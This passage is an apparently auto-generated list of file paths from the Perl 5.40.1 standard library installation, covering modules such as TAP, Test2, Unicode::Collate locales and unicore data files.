"/usr/share/perl/5.40.1/SelfLoader.pm", "/usr/share/perl/5.40.1/Symbol.pm", "/usr/share/perl/5.40.1/TAP/Base.pm", "/usr/share/perl/5.40.1/TAP/Formatter/Base.pm", "/usr/share/perl/5.40.1/TAP/Formatter/Color.pm", "/usr/share/perl/5.40.1/TAP/Formatter/Console.pm", "/usr/share/perl/5.40.1/TAP/Formatter/Console/ParallelSession.pm", "/usr/share/perl/5.40.1/TAP/Formatter/Console/Session.pm", "/usr/share/perl/5.40.1/TAP/Formatter/File.pm", "/usr/share/perl/5.40.1/TAP/Formatter/File/Session.pm", "/usr/share/perl/5.40.1/TAP/Formatter/Session.pm", "/usr/share/perl/5.40.1/TAP/Harness.pm", "/usr/share/perl/5.40.1/TAP/Harness/Beyond.pod", "/usr/share/perl/5.40.1/TAP/Harness/Env.pm", "/usr/share/perl/5.40.1/TAP/Object.pm", "/usr/share/perl/5.40.1/TAP/Parser.pm", "/usr/share/perl/5.40.1/TAP/Parser/Aggregator.pm", "/usr/share/perl/5.40.1/TAP/Parser/Grammar.pm", "/usr/share/perl/5.40.1/TAP/Parser/Iterator.pm", "/usr/share/perl/5.40.1/TAP/Parser/Iterator/Array.pm", "/usr/share/perl/5.40.1/TAP/Parser/Iterator/Process.pm", "/usr/share/perl/5.40.1/TAP/Parser/Iterator/Stream.pm", "/usr/share/perl/5.40.1/TAP/Parser/IteratorFactory.pm", "/usr/share/perl/5.40.1/TAP/Parser/Multiplexer.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result/Bailout.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result/Comment.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result/Plan.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result/Pragma.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result/Test.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result/Unknown.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result/Version.pm", "/usr/share/perl/5.40.1/TAP/Parser/Result/YAML.pm", "/usr/share/perl/5.40.1/TAP/Parser/ResultFactory.pm", "/usr/share/perl/5.40.1/TAP/Parser/Scheduler.pm", "/usr/share/perl/5.40.1/TAP/Parser/Scheduler/Job.pm", "/usr/share/perl/5.40.1/TAP/Parser/Scheduler/Spinner.pm", "/usr/share/perl/5.40.1/TAP/Parser/Source.pm", "/usr/share/perl/5.40.1/TAP/Parser/SourceHandler.pm", "/usr/share/perl/5.40.1/TAP/Parser/SourceHandler/Executable.pm", "/usr/share/perl/5.40.1/TAP/Parser/SourceHandler/File.pm", "/usr/share/perl/5.40.1/TAP/Parser/SourceHandler/Handle.pm", "/usr/share/perl/5.40.1/TAP/Parser/SourceHandler/Perl.pm", "/usr/share/perl/5.40.1/TAP/Parser/SourceHandler/RawTAP.pm", "/usr/share/perl/5.40.1/TAP/Parser/YAMLish/Reader.pm", "/usr/share/perl/5.40.1/TAP/Parser/YAMLish/Writer.pm", "/usr/share/perl/5.40.1/Term/ANSIColor.pm", "/usr/share/perl/5.40.1/Term/Cap.pm", "/usr/share/perl/5.40.1/Term/Complete.pm", "/usr/share/perl/5.40.1/Term/ReadLine.pm", "/usr/share/perl/5.40.1/Term/Table.pm", "/usr/share/perl/5.40.1/Term/Table/Cell.pm", "/usr/share/perl/5.40.1/Term/Table/CellStack.pm", "/usr/share/perl/5.40.1/Term/Table/HashBase.pm", "/usr/share/perl/5.40.1/Term/Table/LineBreak.pm", "/usr/share/perl/5.40.1/Term/Table/Spacer.pm", "/usr/share/perl/5.40.1/Term/Table/Util.pm", "/usr/share/perl/5.40.1/Test.pm", "/usr/share/perl/5.40.1/Test/Builder.pm", "/usr/share/perl/5.40.1/Test/Builder/Formatter.pm", "/usr/share/perl/5.40.1/Test/Builder/IO/Scalar.pm", "/usr/share/perl/5.40.1/Test/Builder/Module.pm", "/usr/share/perl/5.40.1/Test/Builder/Tester.pm", "/usr/share/perl/5.40.1/Test/Builder/Tester/Color.pm", "/usr/share/perl/5.40.1/Test/Builder/TodoDiag.pm", "/usr/share/perl/5.40.1/Test/Harness.pm", "/usr/share/perl/5.40.1/Test/More.pm", "/usr/share/perl/5.40.1/Test/Simple.pm", "/usr/share/perl/5.40.1/Test/Tester.pm", "/usr/share/perl/5.40.1/Test/Tester/Capture.pm", "/usr/share/perl/5.40.1/Test/Tester/CaptureRunner.pm", "/usr/share/perl/5.40.1/Test/Tester/Delegate.pm", "/usr/share/perl/5.40.1/Test/Tutorial.pod", "/usr/share/perl/5.40.1/Test/use/ok.pm", "/usr/share/perl/5.40.1/Test2.pm", "/usr/share/perl/5.40.1/Test2/API.pm", "/usr/share/perl/5.40.1/Test2/API/Breakage.pm", "/usr/share/perl/5.40.1/Test2/API/Context.pm", "/usr/share/perl/5.40.1/Test2/API/Instance.pm", "/usr/share/perl/5.40.1/Test2/API/InterceptResult.pm", "/usr/share/perl/5.40.1/Test2/API/InterceptResult/Event.pm", "/usr/share/perl/5.40.1/Test2/API/InterceptResult/Facet.pm", "/usr/share/perl/5.40.1/Test2/API/InterceptResult/Hub.pm", "/usr/share/perl/5.40.1/Test2/API/InterceptResult/Squasher.pm", "/usr/share/perl/5.40.1/Test2/API/Stack.pm", "/usr/share/perl/5.40.1/Test2/AsyncSubtest.pm", "/usr/share/perl/5.40.1/Test2/AsyncSubtest/Event/Attach.pm", "/usr/share/perl/5.40.1/Test2/AsyncSubtest/Event/Detach.pm", "/usr/share/perl/5.40.1/Test2/AsyncSubtest/Formatter.pm", "/usr/share/perl/5.40.1/Test2/AsyncSubtest/Hub.pm", "/usr/share/perl/5.40.1/Test2/Bundle.pm", "/usr/share/perl/5.40.1/Test2/Bundle/Extended.pm", "/usr/share/perl/5.40.1/Test2/Bundle/More.pm", "/usr/share/perl/5.40.1/Test2/Bundle/Simple.pm", "/usr/share/perl/5.40.1/Test2/Compare.pm", "/usr/share/perl/5.40.1/Test2/Compare/Array.pm", "/usr/share/perl/5.40.1/Test2/Compare/Bag.pm", "/usr/share/perl/5.40.1/Test2/Compare/Base.pm", "/usr/share/perl/5.40.1/Test2/Compare/Bool.pm", "/usr/share/perl/5.40.1/Test2/Compare/Custom.pm", "/usr/share/perl/5.40.1/Test2/Compare/DeepRef.pm", "/usr/share/perl/5.40.1/Test2/Compare/Delta.pm", "/usr/share/perl/5.40.1/Test2/Compare/Event.pm", "/usr/share/perl/5.40.1/Test2/Compare/EventMeta.pm", "/usr/share/perl/5.40.1/Test2/Compare/Float.pm", "/usr/share/perl/5.40.1/Test2/Compare/Hash.pm", "/usr/share/perl/5.40.1/Test2/Compare/Isa.pm", "/usr/share/perl/5.40.1/Test2/Compare/Meta.pm", "/usr/share/perl/5.40.1/Test2/Compare/Negatable.pm", "/usr/share/perl/5.40.1/Test2/Compare/Number.pm", "/usr/share/perl/5.40.1/Test2/Compare/Object.pm", "/usr/share/perl/5.40.1/Test2/Compare/OrderedSubset.pm", "/usr/share/perl/5.40.1/Test2/Compare/Pattern.pm", "/usr/share/perl/5.40.1/Test2/Compare/Ref.pm", "/usr/share/perl/5.40.1/Test2/Compare/Regex.pm", "/usr/share/perl/5.40.1/Test2/Compare/Scalar.pm", "/usr/share/perl/5.40.1/Test2/Compare/Set.pm", "/usr/share/perl/5.40.1/Test2/Compare/String.pm", "/usr/share/perl/5.40.1/Test2/Compare/Undef.pm", "/usr/share/perl/5.40.1/Test2/Compare/Wildcard.pm", "/usr/share/perl/5.40.1/Test2/Event.pm", "/usr/share/perl/5.40.1/Test2/Event/Bail.pm", "/usr/share/perl/5.40.1/Test2/Event/Diag.pm", "/usr/share/perl/5.40.1/Test2/Event/Encoding.pm", "/usr/share/perl/5.40.1/Test2/Event/Exception.pm", "/usr/share/perl/5.40.1/Test2/Event/Fail.pm", "/usr/share/perl/5.40.1/Test2/Event/Generic.pm", "/usr/share/perl/5.40.1/Test2/Event/Note.pm", "/usr/share/perl/5.40.1/Test2/Event/Ok.pm", "/usr/share/perl/5.40.1/Test2/Event/Pass.pm", "/usr/share/perl/5.40.1/Test2/Event/Plan.pm", "/usr/share/perl/5.40.1/Test2/Event/Skip.pm", "/usr/share/perl/5.40.1/Test2/Event/Subtest.pm", "/usr/share/perl/5.40.1/Test2/Event/TAP/Version.pm", "/usr/share/perl/5.40.1/Test2/Event/V2.pm", "/usr/share/perl/5.40.1/Test2/Event/Waiting.pm", "/usr/share/perl/5.40.1/Test2/EventFacet.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/About.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Amnesty.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Assert.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Control.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Error.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Hub.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Info.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Info/Table.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Meta.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Parent.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Plan.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Render.pm", "/usr/share/perl/5.40.1/Test2/EventFacet/Trace.pm", "/usr/share/perl/5.40.1/Test2/Formatter.pm", "/usr/share/perl/5.40.1/Test2/Formatter/TAP.pm", "/usr/share/perl/5.40.1/Test2/Hub.pm", "/usr/share/perl/5.40.1/Test2/Hub/Interceptor.pm", "/usr/share/perl/5.40.1/Test2/Hub/Interceptor/Terminator.pm", "/usr/share/perl/5.40.1/Test2/Hub/Subtest.pm", "/usr/share/perl/5.40.1/Test2/IPC.pm", "/usr/share/perl/5.40.1/Test2/IPC/Driver.pm", "/usr/share/perl/5.40.1/Test2/IPC/Driver/Files.pm", "/usr/share/perl/5.40.1/Test2/Manual.pm", "/usr/share/perl/5.40.1/Test2/Manual/Anatomy.pm", "/usr/share/perl/5.40.1/Test2/Manual/Anatomy/API.pm", "/usr/share/perl/5.40.1/Test2/Manual/Anatomy/Context.pm", "/usr/share/perl/5.40.1/Test2/Manual/Anatomy/EndToEnd.pm", "/usr/share/perl/5.40.1/Test2/Manual/Anatomy/Event.pm", "/usr/share/perl/5.40.1/Test2/Manual/Anatomy/Hubs.pm", "/usr/share/perl/5.40.1/Test2/Manual/Anatomy/IPC.pm", "/usr/share/perl/5.40.1/Test2/Manual/Anatomy/Utilities.pm", "/usr/share/perl/5.40.1/Test2/Manual/Concurrency.pm", "/usr/share/perl/5.40.1/Test2/Manual/Contributing.pm", "/usr/share/perl/5.40.1/Test2/Manual/Testing.pm", "/usr/share/perl/5.40.1/Test2/Manual/Testing/Introduction.pm", "/usr/share/perl/5.40.1/Test2/Manual/Testing/Migrating.pm", "/usr/share/perl/5.40.1/Test2/Manual/Testing/Planning.pm", "/usr/share/perl/5.40.1/Test2/Manual/Testing/Todo.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/FirstTool.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/Formatter.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/Nesting.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/Plugin/TestExit.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/Plugin/TestingDone.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/Plugin/ToolCompletes.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/Plugin/ToolStarts.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/Subtest.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/TestBuilder.pm", "/usr/share/perl/5.40.1/Test2/Manual/Tooling/Testing.pm", "/usr/share/perl/5.40.1/Test2/Mock.pm", "/usr/share/perl/5.40.1/Test2/Plugin.pm", "/usr/share/perl/5.40.1/Test2/Plugin/BailOnFail.pm", "/usr/share/perl/5.40.1/Test2/Plugin/DieOnFail.pm", "/usr/share/perl/5.40.1/Test2/Plugin/ExitSummary.pm", "/usr/share/perl/5.40.1/Test2/Plugin/SRand.pm", "/usr/share/perl/5.40.1/Test2/Plugin/Times.pm", "/usr/share/perl/5.40.1/Test2/Plugin/UTF8.pm", "/usr/share/perl/5.40.1/Test2/Require.pm", "/usr/share/perl/5.40.1/Test2/Require/AuthorTesting.pm", "/usr/share/perl/5.40.1/Test2/Require/AutomatedTesting.pm", "/usr/share/perl/5.40.1/Test2/Require/EnvVar.pm", "/usr/share/perl/5.40.1/Test2/Require/ExtendedTesting.pm", "/usr/share/perl/5.40.1/Test2/Require/Fork.pm", "/usr/share/perl/5.40.1/Test2/Require/Module.pm", "/usr/share/perl/5.40.1/Test2/Require/NonInteractiveTesting.pm", "/usr/share/perl/5.40.1/Test2/Require/Perl.pm", "/usr/share/perl/5.40.1/Test2/Require/RealFork.pm", "/usr/share/perl/5.40.1/Test2/Require/ReleaseTesting.pm", "/usr/share/perl/5.40.1/Test2/Require/Threads.pm", "/usr/share/perl/5.40.1/Test2/Suite.pm", "/usr/share/perl/5.40.1/Test2/Todo.pm", "/usr/share/perl/5.40.1/Test2/Tools.pm", "/usr/share/perl/5.40.1/Test2/Tools/AsyncSubtest.pm", "/usr/share/perl/5.40.1/Test2/Tools/Basic.pm", "/usr/share/perl/5.40.1/Test2/Tools/Class.pm", "/usr/share/perl/5.40.1/Test2/Tools/ClassicCompare.pm", "/usr/share/perl/5.40.1/Test2/Tools/Compare.pm", "/usr/share/perl/5.40.1/Test2/Tools/Defer.pm", "/usr/share/perl/5.40.1/Test2/Tools/Encoding.pm", "/usr/share/perl/5.40.1/Test2/Tools/Event.pm", "/usr/share/perl/5.40.1/Test2/Tools/Exception.pm", "/usr/share/perl/5.40.1/Test2/Tools/Exports.pm", "/usr/share/perl/5.40.1/Test2/Tools/GenTemp.pm", "/usr/share/perl/5.40.1/Test2/Tools/Grab.pm", "/usr/share/perl/5.40.1/Test2/Tools/Mock.pm", "/usr/share/perl/5.40.1/Test2/Tools/Ref.pm", "/usr/share/perl/5.40.1/Test2/Tools/Refcount.pm", "/usr/share/perl/5.40.1/Test2/Tools/Spec.pm", "/usr/share/perl/5.40.1/Test2/Tools/Subtest.pm", "/usr/share/perl/5.40.1/Test2/Tools/Target.pm", "/usr/share/perl/5.40.1/Test2/Tools/Tester.pm", "/usr/share/perl/5.40.1/Test2/Tools/Tiny.pm", "/usr/share/perl/5.40.1/Test2/Tools/Warnings.pm", "/usr/share/perl/5.40.1/Test2/Transition.pod", "/usr/share/perl/5.40.1/Test2/Util.pm", "/usr/share/perl/5.40.1/Test2/Util/ExternalMeta.pm", "/usr/share/perl/5.40.1/Test2/Util/Facets2Legacy.pm", "/usr/share/perl/5.40.1/Test2/Util/Grabber.pm", "/usr/share/perl/5.40.1/Test2/Util/Guard.pm", "/usr/share/perl/5.40.1/Test2/Util/HashBase.pm", "/usr/share/perl/5.40.1/Test2/Util/Importer.pm", "/usr/share/perl/5.40.1/Test2/Util/Ref.pm", "/usr/share/perl/5.40.1/Test2/Util/Stash.pm", "/usr/share/perl/5.40.1/Test2/Util/Sub.pm", "/usr/share/perl/5.40.1/Test2/Util/Table.pm", "/usr/share/perl/5.40.1/Test2/Util/Table/Cell.pm", "/usr/share/perl/5.40.1/Test2/Util/Table/LineBreak.pm", "/usr/share/perl/5.40.1/Test2/Util/Term.pm", "/usr/share/perl/5.40.1/Test2/Util/Times.pm", "/usr/share/perl/5.40.1/Test2/Util/Trace.pm", "/usr/share/perl/5.40.1/Test2/V0.pm", "/usr/share/perl/5.40.1/Test2/Workflow.pm", "/usr/share/perl/5.40.1/Test2/Workflow/BlockBase.pm", "/usr/share/perl/5.40.1/Test2/Workflow/Build.pm", "/usr/share/perl/5.40.1/Test2/Workflow/Runner.pm", "/usr/share/perl/5.40.1/Test2/Workflow/Task.pm", "/usr/share/perl/5.40.1/Test2/Workflow/Task/Action.pm", "/usr/share/perl/5.40.1/Test2/Workflow/Task/Group.pm", "/usr/share/perl/5.40.1/Text/Abbrev.pm", "/usr/share/perl/5.40.1/Text/Balanced.pm", "/usr/share/perl/5.40.1/Text/ParseWords.pm", "/usr/share/perl/5.40.1/Text/Tabs.pm", "/usr/share/perl/5.40.1/Text/Wrap.pm", "/usr/share/perl/5.40.1/Thread.pm", "/usr/share/perl/5.40.1/Thread/Queue.pm", "/usr/share/perl/5.40.1/Thread/Semaphore.pm", "/usr/share/perl/5.40.1/Tie/Array.pm", "/usr/share/perl/5.40.1/Tie/File.pm", "/usr/share/perl/5.40.1/Tie/Handle.pm", "/usr/share/perl/5.40.1/Tie/Hash.pm", "/usr/share/perl/5.40.1/Tie/Hash/NamedCapture.pm", "/usr/share/perl/5.40.1/Tie/Memoize.pm", "/usr/share/perl/5.40.1/Tie/RefHash.pm", "/usr/share/perl/5.40.1/Tie/Scalar.pm", "/usr/share/perl/5.40.1/Tie/StdHandle.pm", "/usr/share/perl/5.40.1/Tie/SubstrHash.pm", "/usr/share/perl/5.40.1/Time/Local.pm", "/usr/share/perl/5.40.1/Time/gmtime.pm", "/usr/share/perl/5.40.1/Time/localtime.pm", "/usr/share/perl/5.40.1/Time/tm.pm", "/usr/share/perl/5.40.1/UNIVERSAL.pm", "/usr/share/perl/5.40.1/Unicode/Collate/CJK/Big5.pm", "/usr/share/perl/5.40.1/Unicode/Collate/CJK/GB2312.pm", "/usr/share/perl/5.40.1/Unicode/Collate/CJK/JISX0208.pm", "/usr/share/perl/5.40.1/Unicode/Collate/CJK/Korean.pm", "/usr/share/perl/5.40.1/Unicode/Collate/CJK/Pinyin.pm", "/usr/share/perl/5.40.1/Unicode/Collate/CJK/Stroke.pm", "/usr/share/perl/5.40.1/Unicode/Collate/CJK/Zhuyin.pm", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/af.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ar.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/as.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/az.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/be.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/bn.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ca.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/cs.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/cu.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/cy.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/da.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/de_at_ph.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/de_phone.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/dsb.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ee.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/eo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/es.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/es_trad.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/et.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/fa.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/fi.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/fi_phone.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/fil.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/fo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/fr_ca.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/gu.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ha.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/haw.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/he.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/hi.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/hr.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/hu.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/hy.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ig.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/is.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ja.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/kk.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/kl.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/kn.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ko.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/kok.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/lkt.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ln.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/lt.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/lv.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/mk.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ml.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/mr.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/mt.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/nb.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/nn.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/nso.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/om.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/or.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/pa.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/pl.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ro.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sa.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/se.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/si.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/si_dict.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sk.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sl.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sq.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sr.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sv.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sv_refo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ta.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/te.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/th.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/tn.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/to.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/tr.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ug_cyrl.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/uk.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ur.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/vi.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/vo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/wae.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/wo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/yo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_big5.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_gb.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_pin.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_strk.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_zhu.pl", "/usr/share/perl/5.40.1/Unicode/Collate/allkeys.txt", "/usr/share/perl/5.40.1/Unicode/Collate/keys.txt", "/usr/share/perl/5.40.1/Unicode/UCD.pm", "/usr/share/perl/5.40.1/User/grent.pm", "/usr/share/perl/5.40.1/User/pwent.pm", "/usr/share/perl/5.40.1/XSLoader.pm", "/usr/share/perl/5.40.1/_charnames.pm", "/usr/share/perl/5.40.1/autodie.pm", "/usr/share/perl/5.40.1/autodie/Scope/Guard.pm", "/usr/share/perl/5.40.1/autodie/Scope/GuardStack.pm", "/usr/share/perl/5.40.1/autodie/Util.pm", "/usr/share/perl/5.40.1/autodie/exception.pm", "/usr/share/perl/5.40.1/autodie/exception/system.pm", "/usr/share/perl/5.40.1/autodie/hints.pm", "/usr/share/perl/5.40.1/autodie/skip.pm", "/usr/share/perl/5.40.1/autouse.pm", "/usr/share/perl/5.40.1/base.pm", "/usr/share/perl/5.40.1/bigfloat.pm", "/usr/share/perl/5.40.1/bigint.pm", "/usr/share/perl/5.40.1/bignum.pm", "/usr/share/perl/5.40.1/bigrat.pm", "/usr/share/perl/5.40.1/blib.pm", "/usr/share/perl/5.40.1/builtin.pm", "/usr/share/perl/5.40.1/bytes.pm", "/usr/share/perl/5.40.1/charnames.pm", "/usr/share/perl/5.40.1/constant.pm", "/usr/share/perl/5.40.1/deprecate.pm", "/usr/share/perl/5.40.1/diagnostics.pm", "/usr/share/perl/5.40.1/dumpvar.pl", "/usr/share/perl/5.40.1/encoding/warnings.pm", "/usr/share/perl/5.40.1/experimental.pm", "/usr/share/perl/5.40.1/feature.pm", "/usr/share/perl/5.40.1/fields.pm", "/usr/share/perl/5.40.1/filetest.pm", "/usr/share/perl/5.40.1/if.pm", "/usr/share/perl/5.40.1/integer.pm", "/usr/share/perl/5.40.1/less.pm", "/usr/share/perl/5.40.1/locale.pm", "/usr/share/perl/5.40.1/meta_notation.pm", "/usr/share/perl/5.40.1/ok.pm", "/usr/share/perl/5.40.1/open.pm", "/usr/share/perl/5.40.1/overload.pm", "/usr/share/perl/5.40.1/overload/numbers.pm", "/usr/share/perl/5.40.1/overloading.pm", "/usr/share/perl/5.40.1/parent.pm", "/usr/share/perl/5.40.1/perl5db.pl", "/usr/share/perl/5.40.1/perlfaq.pm", "/usr/share/perl/5.40.1/pod/perldiag.pod", "/usr/share/perl/5.40.1/sigtrap.pm", "/usr/share/perl/5.40.1/sort.pm", "/usr/share/perl/5.40.1/stable.pm", "/usr/share/perl/5.40.1/strict.pm", "/usr/share/perl/5.40.1/subs.pm", "/usr/share/perl/5.40.1/unicore/Blocks.txt", "/usr/share/perl/5.40.1/unicore/CombiningClass.pl", "/usr/share/perl/5.40.1/unicore/Decomposition.pl", "/usr/share/perl/5.40.1/unicore/Name.pl", "/usr/share/perl/5.40.1/unicore/Name.pm", "/usr/share/perl/5.40.1/unicore/NamedSequences.txt", "/usr/share/perl/5.40.1/unicore/SpecialCasing.txt", "/usr/share/perl/5.40.1/unicore/TestNorm.pl", "/usr/share/perl/5.40.1/unicore/To/Age.pl", "/usr/share/perl/5.40.1/unicore/To/Bc.pl", "/usr/share/perl/5.40.1/unicore/To/Bmg.pl", "/usr/share/perl/5.40.1/unicore/To/Bpb.pl", "/usr/share/perl/5.40.1/unicore/To/Bpt.pl", "/usr/share/perl/5.40.1/unicore/To/Cf.pl", "/usr/share/perl/5.40.1/unicore/To/Ea.pl", "/usr/share/perl/5.40.1/unicore/To/EqUIdeo.pl", "/usr/share/perl/5.40.1/unicore/To/GCB.pl", "/usr/share/perl/5.40.1/unicore/To/Gc.pl", "/usr/share/perl/5.40.1/unicore/To/Hst.pl", "/usr/share/perl/5.40.1/unicore/To/Identif2.pl", "/usr/share/perl/5.40.1/unicore/To/Identifi.pl", "/usr/share/perl/5.40.1/unicore/To/InPC.pl", "/usr/share/perl/5.40.1/unicore/To/InSC.pl", "/usr/share/perl/5.40.1/unicore/To/Isc.pl", "/usr/share/perl/5.40.1/unicore/To/Jg.pl", "/usr/share/perl/5.40.1/unicore/To/Jt.pl", "/usr/share/perl/5.40.1/unicore/To/Lb.pl", "/usr/share/perl/5.40.1/unicore/To/Lc.pl", "/usr/share/perl/5.40.1/unicore/To/NFCQC.pl", "/usr/share/perl/5.40.1/unicore/To/NFDQC.pl", "/usr/share/perl/5.40.1/unicore/To/NFKCCF.pl", "/usr/share/perl/5.40.1/unicore/To/NFKCQC.pl", "/usr/share/perl/5.40.1/unicore/To/NFKDQC.pl", "/usr/share/perl/5.40.1/unicore/To/Na1.pl", "/usr/share/perl/5.40.1/unicore/To/NameAlia.pl", "/usr/share/perl/5.40.1/unicore/To/Nt.pl", "/usr/share/perl/5.40.1/unicore/To/Nv.pl", "/usr/share/perl/5.40.1/unicore/To/PerlDeci.pl", "/usr/share/perl/5.40.1/unicore/To/SB.pl", "/usr/share/perl/5.40.1/unicore/To/Sc.pl", "/usr/share/perl/5.40.1/unicore/To/Scx.pl", "/usr/share/perl/5.40.1/unicore/To/Tc.pl", "/usr/share/perl/5.40.1/unicore/To/Uc.pl", "/usr/share/perl/5.40.1/unicore/To/Vo.pl", "/usr/share/perl/5.40.1/unicore/To/WB.pl", "/usr/share/perl/5.40.1/unicore/To/_PerlLB.pl", "/usr/share/perl/5.40.1/unicore/To/_PerlSCX.pl", "/usr/share/perl/5.40.1/unicore/UCD.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/NA.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V100.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V11.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V110.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V120.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V130.pl", 